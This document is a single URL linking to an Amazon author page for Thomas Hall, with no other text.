http://www.amazon.com/Thomas-Hall/e/B00E6282W6